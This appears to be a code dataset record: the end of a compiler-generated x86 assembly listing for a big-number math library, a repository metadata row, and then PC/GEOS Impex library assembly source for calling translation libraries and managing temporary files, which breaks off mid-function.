mov DWORD PTR [edx], ecx
; 216 : #elif defined(_M_X64)
; 217 : return (_addcarry_u64(carry, u, v, w));
; 218 : #else
; 219 : #error unknown platform
; 220 : #endif
; 221 : }
pop ebp
ret 0
__ADD_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT __DIVIDE_CEILING_SIZE
_TEXT SEGMENT
_u$ = 8 ; size = 4
_v$ = 12 ; size = 4
__DIVIDE_CEILING_SIZE PROC ; COMDAT
; 198 : {
push ebp
mov ebp, esp
; 199 : return ((u + v - 1) / v);
mov eax, DWORD PTR _u$[ebp]
xor edx, edx
dec eax
add eax, DWORD PTR _v$[ebp]
div DWORD PTR _v$[ebp]
; 200 : }
pop ebp
ret 0
__DIVIDE_CEILING_SIZE ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT __DIVIDE_CEILING_UNIT
_TEXT SEGMENT
_u$ = 8 ; size = 4
_v$ = 12 ; size = 4
__DIVIDE_CEILING_UNIT PROC ; COMDAT
; 193 : {
push ebp
mov ebp, esp
; 194 : return ((u + v - 1) / v);
mov eax, DWORD PTR _u$[ebp]
xor edx, edx
dec eax
add eax, DWORD PTR _v$[ebp]
div DWORD PTR _v$[ebp]
; 195 : }
pop ebp
ret 0
__DIVIDE_CEILING_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT __FROMDWORDTOWORD
_TEXT SEGMENT
_value$ = 8 ; size = 8
_result_high$ = 16 ; size = 4
__FROMDWORDTOWORD PROC ; COMDAT
; 182 : {
push ebp
mov ebp, esp
; 183 : *result_high = (_UINT32_T)(value >> 32);
mov eax, DWORD PTR _result_high$[ebp]
mov ecx, DWORD PTR _value$[ebp+4]
mov DWORD PTR [eax], ecx
; 184 : return ((_UINT32_T)value);
mov eax, DWORD PTR _value$[ebp]
; 185 : }
pop ebp
ret 0
__FROMDWORDTOWORD ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT __COPY_MEMORY_UNIT
_TEXT SEGMENT
_d$ = 8 ; size = 4
_s$ = 12 ; size = 4
_count$ = 16 ; size = 4
__COPY_MEMORY_UNIT PROC ; COMDAT
; 66 : {
push ebp
mov ebp, esp
; 67 : #ifdef _M_IX86
; 68 : __movsd((unsigned long *)d, (unsigned long *)s, (unsigned long)count);
mov ecx, DWORD PTR _count$[ebp]
push esi
mov esi, DWORD PTR _s$[ebp]
push edi
mov edi, DWORD PTR _d$[ebp]
rep movsd
pop edi
pop esi
; 69 : #elif defined(_M_X64)
; 70 : __movsq(d, s, count);
; 71 : #else
; 72 : #error unknown platform
; 73 : #endif
; 74 : }
pop ebp
ret 0
__COPY_MEMORY_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; COMDAT _AddToMULTI64Counter
_TEXT SEGMENT
_value$ = 8 ; size = 4
_AddToMULTI64Counter PROC ; COMDAT
; 357 : {
push ebp
mov ebp, esp
; 358 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI64, value);
mov eax, DWORD PTR _value$[ebp]
mov ecx, OFFSET _statistics_info
lock xadd DWORD PTR [ecx], eax
; 359 : }
pop ebp
ret 0
_AddToMULTI64Counter ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; COMDAT _AddToMULTI32Counter
_TEXT SEGMENT
_value$ = 8 ; size = 4
_AddToMULTI32Counter PROC ; COMDAT
; 351 : {
push ebp
mov ebp, esp
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, DWORD PTR _value$[ebp]
mov ecx, OFFSET _statistics_info+4
lock xadd DWORD PTR [ecx], eax
; 353 : }
pop ebp
ret 0
_AddToMULTI32Counter ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; COMDAT _IncrementMULTI64Counter
_TEXT SEGMENT
_IncrementMULTI64Counter PROC ; COMDAT
; 335 : _InterlockedIncrement(&statistics_info.COUNT_MULTI64);
lock inc (null) PTR _statistics_info
; 336 : }
ret 0
_IncrementMULTI64Counter ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; COMDAT _IncrementMULTI32Counter
_TEXT SEGMENT
_IncrementMULTI32Counter PROC ; COMDAT
; 329 : _InterlockedIncrement(&statistics_info.COUNT_MULTI32);
lock inc (null) PTR _statistics_info+4
; 330 : }
ret 0
_IncrementMULTI32Counter ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _PMC_TryParse@16
_TEXT SEGMENT
_no$ = 8 ; size = 4
_source$ = 8 ; size = 4
_number_styles$ = 12 ; size = 4
_format_option$ = 16 ; size = 4
_o$ = 20 ; size = 4
_PMC_TryParse@16 PROC ; COMDAT
; 1000 : {
push ebp
mov ebp, esp
; 1001 : PMC_STATUS_CODE result;
; 1002 : if (source == NULL)
mov ecx, DWORD PTR _source$[ebp]
push esi
push edi
test ecx, ecx
je SHORT $LN11@PMC_TryPar
; 1003 : return (PMC_STATUS_ARGUMENT_ERROR);
; 1004 : if (o == NULL)
mov esi, DWORD PTR _o$[ebp]
test esi, esi
je SHORT $LN11@PMC_TryPar
; 1005 : return (PMC_STATUS_ARGUMENT_ERROR);
; 1006 : if (format_option == NULL)
; 1007 : format_option = &default_number_format_option;
; 1008 : NUMBER_HEADER* no;
; 1009 : if (number_styles & PMC_NUMBER_STYLE_ALLOW_HEX_SPECIFIER)
mov eax, DWORD PTR _format_option$[ebp]
mov edx, OFFSET _default_number_format_option
test eax, eax
cmovne edx, eax
mov eax, DWORD PTR _number_styles$[ebp]
test eax, 512 ; 00000200H
je SHORT $LN5@PMC_TryPar
; 1010 : {
; 1011 : // 許可されている組み合わせのフラグ
; 1012 : _UINT32_T mask = PMC_NUMBER_STYLE_ALLOW_HEX_SPECIFIER | PMC_NUMBER_STYLE_ALLOW_LEADING_WHITE | PMC_NUMBER_STYLE_ALLOW_TRAILING_WHITE;
; 1013 :
; 1014 : // 許可されていないフラグが指定されていればエラー
; 1015 : if (number_styles & ~mask)
test eax, -516 ; fffffdfcH
jne SHORT $LN11@PMC_TryPar
; 1017 :
; 1018 : if ((result = TryParseX(source, number_styles, format_option, &no)) != PMC_STATUS_OK)
lea edi, DWORD PTR _no$[ebp]
push edi
push edx
push eax
push ecx
call _TryParseX
add esp, 16 ; 00000010H
test eax, eax
je SHORT $LN9@PMC_TryPar
; 1032 : }
pop edi
pop esi
pop ebp
ret 16 ; 00000010H
$LN5@PMC_TryPar:
; 1019 : return (result);
; 1020 : }
; 1021 : else
; 1022 : {
; 1023 : if ((result = TryParseDN(source, number_styles, format_option, &no)) != PMC_STATUS_OK)
lea edi, DWORD PTR _no$[ebp]
push edi
push edx
push eax
push ecx
call _TryParseDN
add esp, 16 ; 00000010H
test eax, eax
jne SHORT $LN1@PMC_TryPar
$LN9@PMC_TryPar:
; 1024 : return (result);
; 1025 : }
; 1026 : *o = no;
mov eax, DWORD PTR _no$[ebp]
mov DWORD PTR [esi], eax
; 1027 : #ifdef _DEBUG
; 1028 : if ((result = CheckNumber(*o)) != PMC_STATUS_OK)
; 1029 : return (result);
; 1030 : #endif
; 1031 : return (PMC_STATUS_OK);
xor eax, eax
pop edi
; 1032 : }
pop esi
pop ebp
ret 16 ; 00000010H
$LN11@PMC_TryPar:
; 1016 : return (PMC_STATUS_ARGUMENT_ERROR);
or eax, -1
$LN1@PMC_TryPar:
pop edi
; 1032 : }
pop esi
pop ebp
ret 16 ; 00000010H
_PMC_TryParse@16 ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _Initialize_Parse
_TEXT SEGMENT
_feature$ = 8 ; size = 4
_Initialize_Parse PROC ; COMDAT
; 1035 : {
push ebp
mov ebp, esp
push esi
; 1036 : default_number_format_option.DecimalDigits = 2;
; 1037 : lstrcpyW(default_number_format_option.GroupSeparator, L",");
mov esi, DWORD PTR __imp__lstrcpyW@8
push OFFSET ??_C@_13DEFPDAGF@?$AA?0@
push OFFSET _default_number_format_option+4
mov DWORD PTR _default_number_format_option, 2
call esi
; 1038 : lstrcpyW(default_number_format_option.DecimalSeparator, L".");
push OFFSET ??_C@_13JOFGPIOO@?$AA?4@
push OFFSET _default_number_format_option+10
call esi
; 1039 : lstrcpy(default_number_format_option.GroupSizes, "3");
push OFFSET ??_C@_01EKENIIDA@3@
push OFFSET _default_number_format_option+28
call DWORD PTR __imp__lstrcpyA@8
; 1040 : lstrcpyW(default_number_format_option.PositiveSign, L"+");
push OFFSET ??_C@_13KJIIAINM@?$AA?$CL@
push OFFSET _default_number_format_option+16
call esi
; 1041 : lstrcpyW(default_number_format_option.NegativeSign, L"-");
push OFFSET ??_C@_13IMODFHAA@?$AA?9@
push OFFSET _default_number_format_option+22
call esi
mov eax, DWORD PTR _feature$[ebp]
; 1042 :
; 1043 : if (feature->PROCESSOR_FEATURE_ADX && feature->PROCESSOR_FEATURE_BMI2)
; 1044 : fp_MultiplyAndAdd = MultiplyAndAdd_using_ADCX_MULX;
; 1045 : else
; 1046 : fp_MultiplyAndAdd = MultiplyAndAdd_using_ADC_MUL;
; 1047 :
; 1048 : return (PMC_STATUS_OK);
mov ecx, OFFSET _MultiplyAndAdd_using_ADCX_MULX
mov edx, OFFSET _MultiplyAndAdd_using_ADC_MUL
pop esi
mov eax, DWORD PTR [eax]
and eax, 10 ; 0000000aH
cmp al, 10 ; 0000000aH
cmovne ecx, edx
xor eax, eax
mov DWORD PTR _fp_MultiplyAndAdd, ecx
; 1049 : }
pop ebp
ret 0
_Initialize_Parse ENDP
_TEXT ENDS
END
| 24.044888
| 192
| 0.635522
|
a460e5a496dd7d6ef4cb0932f590c2a42cde2240
| 41,743
|
asm
|
Assembly
|
Library/Impex/Main/mainUtils.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Library/Impex/Main/mainUtils.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Library/Impex/Main/mainUtils.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Impex/Main
FILE: mainUtils.asm
AUTHOR: Don Reeves, May 28, 1992
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 5/28/92 Initial revision
DESCRIPTION:
Utilities for the Impex/Main module
$Id: mainUtils.asm,v 1.1 97/04/04 23:34:45 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ImpexCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
*** General Utilities
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ImpexThreadInfoPLock
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Lock & own an ImpexThreadInfo block
CALLED BY: INTERNAL
PASS: BX = ImpexThreadInfo handle
RETURN: DS:0 = ImpexThreadInfo
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 6/ 1/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ImpexThreadInfoPLock proc far
uses ax
.enter
call MemPLock
mov ds, ax
.leave
ret
ImpexThreadInfoPLock endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ImpexThreadInfoUnlockV
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Unlock & release an ImpexThreadInfo block
CALLED BY: INTERNAL
PASS: DS:0 = ImpexThreadInfo
RETURN: Nothing
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 6/ 1/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ImpexThreadInfoUnlockV proc far
uses bx
.enter
mov bx, ds:[ITI_handle]
EC < call ECCheckMemHandle ; verify handle >
call MemUnlockV ; unlock & release
.leave
ret
ImpexThreadInfoUnlockV endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CallLibrary
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Calls the translation library to do the import or export
CALLED BY: ITPImport, ITPExportFromAppComplete
PASS: DS = ImpexThreadInfo segment
AX = TR_IMPORT or TR_EXPORT
If export:
on stack, EF_transferVMChain
RETURN: AX = TransError (0 = no error)
BX = memory handle of error text if ax = TE_CUSTOM
DS = ImpexThreadInfo segment (may have moved)
If import:
DX:CX = VMChain containing transfer format
SI = ManufacturerID passed back from Library
BX = ClipboardFormat
SP = original SP - size of ImportFrame
DESTROYED: DI, SI, BP, ES
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Pop the return address so that, if this is an export,
EF_transferVMChain is at the top of the stack.
Push the ImportFrame or the rest of the ExportFrame
onto the stack.
Call the translation library.
Push the return address.
REVISION HISTORY:
Name Date Description
---- ---- -----------
jenny 10/12/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CallLibrary proc near
pop bp ; get return address.
;
; Put library handle in bx for ProcGetLibraryEntry.
;
mov bx, ds:[ITI_libraryHandle]
;
; Set up ImportFrame or rest of ExportFrame.
;
; First push IF_transferVMFile or EF_transferVMFile:
;
CheckHack <offset IF_transferVMFile eq \
offset EF_transferVMFile and \
offset IF_transferVMFile+size IF_transferVMFile eq \
size ImportFrame and \
offset EF_transferVMFile+size EF_transferVMFile eq \
offset EF_transferVMChain>
push ds:[ITI_xferVMFile]
;
; Then IF_sourcePathDisk or EF_outputPathDisk:
;
CheckHack <offset IF_sourcePathDisk+size IF_sourcePathDisk eq \
offset IF_transferVMFile and \
offset EF_outputPathDisk+size EF_outputPathDisk eq \
offset EF_transferVMFile>
push ds:[ITI_pathDisk]
;
; Then IF_sourcePathName or EF_outputPathName:
;
CheckHack <offset IF_sourcePathName+size IF_sourcePathName eq \
offset IF_sourcePathDisk and \
offset EF_outputPathName+size EF_outputPathName eq \
offset EF_outputPathDisk>
segmov es, ss
mov si, offset ITI_pathBuffer
mov cx, size PathName
sub sp, cx
mov di, sp
rep movsb
;
; Next IF_sourceFileName or EF_outputFileName:
;
CheckHack <offset IF_sourceFileName+size IF_sourceFileName eq \
offset IF_sourcePathName and \
offset EF_outputFileName+size EF_outputFileName eq \
offset EF_outputPathName>
mov si, offset ITI_srcDestName
mov cx, size FileLongName
sub sp, cx
mov di, sp
rep movsb
;
; And IF_sourceFile or EF_outputFile:
;
CheckHack <offset IF_sourceFile+size IF_sourceFile eq \
offset IF_sourceFileName and \
offset EF_outputFile+size EF_outputFile eq \
offset EF_outputFileName>
push ds:[ITI_srcDestFile]
;
; And IF_importOptions or EF_exportOptions:
;
CheckHack <offset IF_importOptions+size IF_importOptions eq \
offset IF_sourceFile and \
offset EF_exportOptions+size EF_exportOptions eq \
offset EF_outputFile>
push ds:[ITI_formatOptions]
;
; And IF_formatNumber or EF_formatNumber:
;
CheckHack <offset IF_formatNumber+size IF_formatNumber eq \
offset IF_importOptions and \
offset EF_formatNumber+size EF_formatNumber eq \
offset EF_exportOptions and \
offset IF_formatNumber eq 0 and \
offset EF_formatNumber eq 0>
push ds:[ITI_formatDesc].IFD_formatNumber
;
; Make ds:si point to the thing.
;
;
; Collapse and call the library.
;
mov si, sp
push ds:[ITI_handle]
call ImpexThreadInfoUnlockV ; release ImpexThreadInfo
segmov ds, ss ; Import/ExportFrame => DS:SI
EC < call ECCheckMemHandle ; check library handle >
call ProcGetLibraryEntry
call ProcCallFixedOrMovable ; ax <- TransError or 0
; bx <- handle of error msg
; if ax = TE_CUSTOM
XchgTopStack bx
call ImpexThreadInfoPLock ; ImpexThreadInfo => DS:0
pop bx ; custom error msg handle => BX
push bp ; save return address
ret
CallLibrary endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrepareToCallLibrary
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set up to call the translation library
CALLED BY: ITPExport, ITPImport
PASS: DS = ImpexThreadInfo segment
AX = TR_GET_IMPORT_OPTIONS or TR_GET_EXPORT_OPTIONS
RETURNED: Carry = Set if error (library could not be loaded)
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jenny 1/92 Initial version
don 5/92 Various changes
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrepareToCallLibrary proc near
uses ax, bx, cx, dx, di, si, bp
.enter
; Load the library
;
if ALLOW_FLOPPY_BASED_LIBS
mov bx, ds:[ITI_libraryHandle]
tst bx
EC < ERROR_Z -1 ; library missing >
jnz gotLib
endif
call FindAndLoadLibrary ; bx <- library handle
jc done ; if error, quit
mov ds:[ITI_libraryHandle], bx
gotLib::
; Put up box to tell user export or import is in progress.
;
movdw cxdx, ds:[ITI_notifySource]
call NotifyDialogCreate ; duplicate & display dialog box
; Get the translation options the user has set, if any.
;
mov cx, ds:[ITI_formatDesc].IFD_formatNumber
mov dx, ds:[ITI_formatUI]
call ProcGetLibraryEntry
call ProcCallFixedOrMovable ; dx <- options block handle
mov ds:[ITI_formatOptions], dx
clc ; success
done:
.leave
ret
PrepareToCallLibrary endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FindAndLoadLibrary
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the name of the translation library from the
chunk array and load it
CALLED BY: PrepareToCallLibrary
PASS: DS = ImpexThreadInfo segment
RETURNED: BX = Library handle
Carry = Clear (success)
- or -
Carry = Set
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 3/91 Initial version
jenny 1/92 Cleaned up
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FindAndLoadLibrary proc near
uses ax, di
.enter
; Load the translation library
;
mov di, offset ITI_libraryDesc ; get ImpexLibraryDescriptor
call ImpexLoadLibrary ; library handle => BX
jnc done
; Put up dialog box if there's an error.
;
push cx, dx
mov cx, ds
mov dx, di ; library name => CX:DX
mov ax, IE_COULD_NOT_LOAD_XLIB
call DisplayErrorAndBlock ; returns carry = set
pop cx, dx
done:
.leave
ret
FindAndLoadLibrary endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetAndSetPath
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Gets and sets the path
CALLED BY: GLOBAL PrepareSourceFile
CreateOutputFile
GetSelectedFile
PASS: DS = ImpexThreadInfo segment
RETURNED: Carry set if error
DX = IE_BAD_FILE_PATH
Carry clear if ok
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
* Pushes the current directory before setting the new
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 7/15/91 Initial version.
don 5/28/92 Major changes
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetAndSetPath proc far
uses ax, bx
.enter
; Lock down the ImpexThreadInfo, and set the path
;
mov dx, offset ITI_pathBuffer
mov bx, ds:[ITI_pathDisk]
call FilePushDir
call FileSetCurrentPath ; carry <- set if error
mov dx, IE_BAD_FILE_PATH ; in case carry is set
.leave
ret
GetAndSetPath endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CreateTransferVMFile
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create VM file in which to allocate transfer format
CALLED BY: ITPImport, ITPGetTransferFormatFromApp
PASS: DS = ImpexThreadInfo segment
RETURN: Carry = Set if error
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 5/92 Initial verson
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CreateTransferVMFile proc near
uses ax, di, es
.enter
; Set up to create file
;
segmov es, ds, ax ; AX = non-zero = VM file
mov di, offset ITI_xferVMFileName
call CreateTempFile ; VM file handle => AX
jc error ; if not created, report error
mov ds:[ITI_xferVMFile], ax
done:
.leave
ret
; Display error that file count not be created
error:
mov ax, IE_COULD_NOT_CREATE_VM_FILE
call DisplayErrorAndBlock
jmp done
CreateTransferVMFile endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CreateTempFile
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create a temporary file
CALLED BY: INTERNAL
PASS: ES:DI = File buffer (size ImpexTempFileStruct or larger)
AX = 0 (native file) or != 0 (VM file)
RETURN: ES:DI = File buffer filled
AX = File handle
Carry = Clear (success)
- or -
Carry = Set (error)
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
* Will loop through 100 possible file names
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 6/ 8/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
tempFileName ImpexTempFileStruct <>
tempFilePatt ImpexTempFileStruct<,<'?', '?', 0>>
CreateTempFile proc near
uses bx, cx, dx, si, bp, ds
.enter
; Save current directory and go to document directory
;
clr si ; initialize boolean
mov bp, offset CreateTempFileNormal
tst ax
jz common
mov bp, offset CreateTempFileVM
common:
call FilePushDir
mov ax, SP_WASTE_BASKET
call FileSetStandardPath
; Copy in the filename first
startFileLoop:
push di
mov si, offset cs:tempFileName
segmov ds, cs ; source => DS:SI
mov cx, size tempFileName
rep movsb ; copy them bytes
; Start out trying a base file, then incrementing
;
segmov ds, es
pop di ; destination => ES:DI
mov dx, di ; DS:DX points at the file name
tryAnotherFile:
CheckHack <IMPEX_TEMP_NATIVE_FILE eq 0>
call bp ; file handle => AX
jnc done ; if no error, success
jcxz nextName ; if acceptable error, try again
done:
call FilePopDir
.leave
ret
; Else go to the next logical file name (up to 100 files)
nextName:
SBCS < mov bx, 1 ; initialize a counter >
DBCS < mov bx, 2 ; initialize a counter >
nextNameLoop:
inc ds:[di][bx].ITFS_num ; increment the digit
cmp ds:[di][bx].ITFS_num, '9'
jl tryAnotherFile ; try again in no rollover
mov ds:[di][bx].ITFS_num, '0'
LocalPrevChar dsbx ; go to the next digit
jge nextNameLoop ; jump if not negative
; If we run out of files, someone probably hasn't emptied
; his/her wastebasket in a while. So we'll nuke our files
;
tst si
jnz cannotCreateFile ; if non-zero, we give up
inc si ; we've tried this once
push bp
if FULL_EXECUTE_IN_PLACE
push ds, si
segmov ds, cs, cx
mov si, offset tempFilePatt ;ds:si = tempfile patt in cs
mov cx, size ImpexTempFileStruct
call SysCopyToStackDSSI ;ds:si = tempfile patt in stack
endif
sub sp, size FileEnumParams
mov bp, sp ; FileEnumParams => SS:BP
mov ss:[bp].FEP_searchFlags, FILE_ENUM_ALL_FILE_TYPES or \
mask FESF_CALLBACK
clr ax
mov ss:[bp].FEP_returnAttrs.offset, FESRT_NAME
mov ss:[bp].FEP_returnAttrs.segment, ax
mov ss:[bp].FEP_returnSize, (size FileLongName)
mov ss:[bp].FEP_matchAttrs.segment, ax
mov ss:[bp].FEP_bufSize, FE_BUFSIZE_UNLIMITED
if FULL_EXECUTE_IN_PLACE
mov ss:[bp].FEP_cbData1.segment, ds
mov ss:[bp].FEP_cbData1.offset, si
else
mov ss:[bp].FEP_cbData1.segment, cs
mov ss:[bp].FEP_cbData1.offset, offset tempFilePatt
endif
mov ss:[bp].FEP_callback.offset, FESC_WILDCARD
mov ss:[bp].FEP_callback.segment, ax
mov ss:[bp].FEP_cbData2.low, TRUE
mov ss:[bp].FEP_skipCount, 0
call FileEnum ; find each of the files
if FULL_EXECUTE_IN_PLACE
pop ds, si
call SysRemoveFromStack ;release space back the stack
endif
pop bp
jcxz cannotCreateFile ; if no files, we're hosed
call MemLock ; lock filename buffer
mov ds, ax
clr dx
deleteFileLoop:
call FileDelete
add dx, (size FileLongName) ; go to the next filename
loop deleteFileLoop
call MemFree ; free filename buffer
jmp startFileLoop ; now try to find a file again
cannotCreateFile:
stc ; error, no file created
jmp done ; and we're outta here
CreateTempFile endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CreateTempFileNormal
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create a temporary normal "native-mode" file
CALLED BY: CreateTempFile
PASS: DS:DX = Filename
RETURN: AX = File handle
Carry = Clear (success)
- or -
CX = 0 (continue searching)
Carry = Set (error)
- or -
CX = 1 (stop searching, unacceptable error condition)
Carry = Set (error)
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 7/ 2/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CreateTempFileNormal proc near
; Try to create the "native-mode" file
;
mov ax, (((FE_NONE shl offset FAF_EXCLUDE) or \
(FA_READ_WRITE shl offset FAF_MODE)) or \
(((mask FCF_NATIVE) or \
(FILE_CREATE_ONLY shl offset FCF_MODE)) shl 8))
mov cx, FILE_ATTR_NORMAL ; don't truncate
call FileCreate ; attempt to create the file
jnc done
clr cx ; assume acceptable error
cmp ax, ERROR_SHARING_VIOLATION
je error
cmp ax, ERROR_FILE_EXISTS
je error
cmp ax, ERROR_ACCESS_DENIED
je error
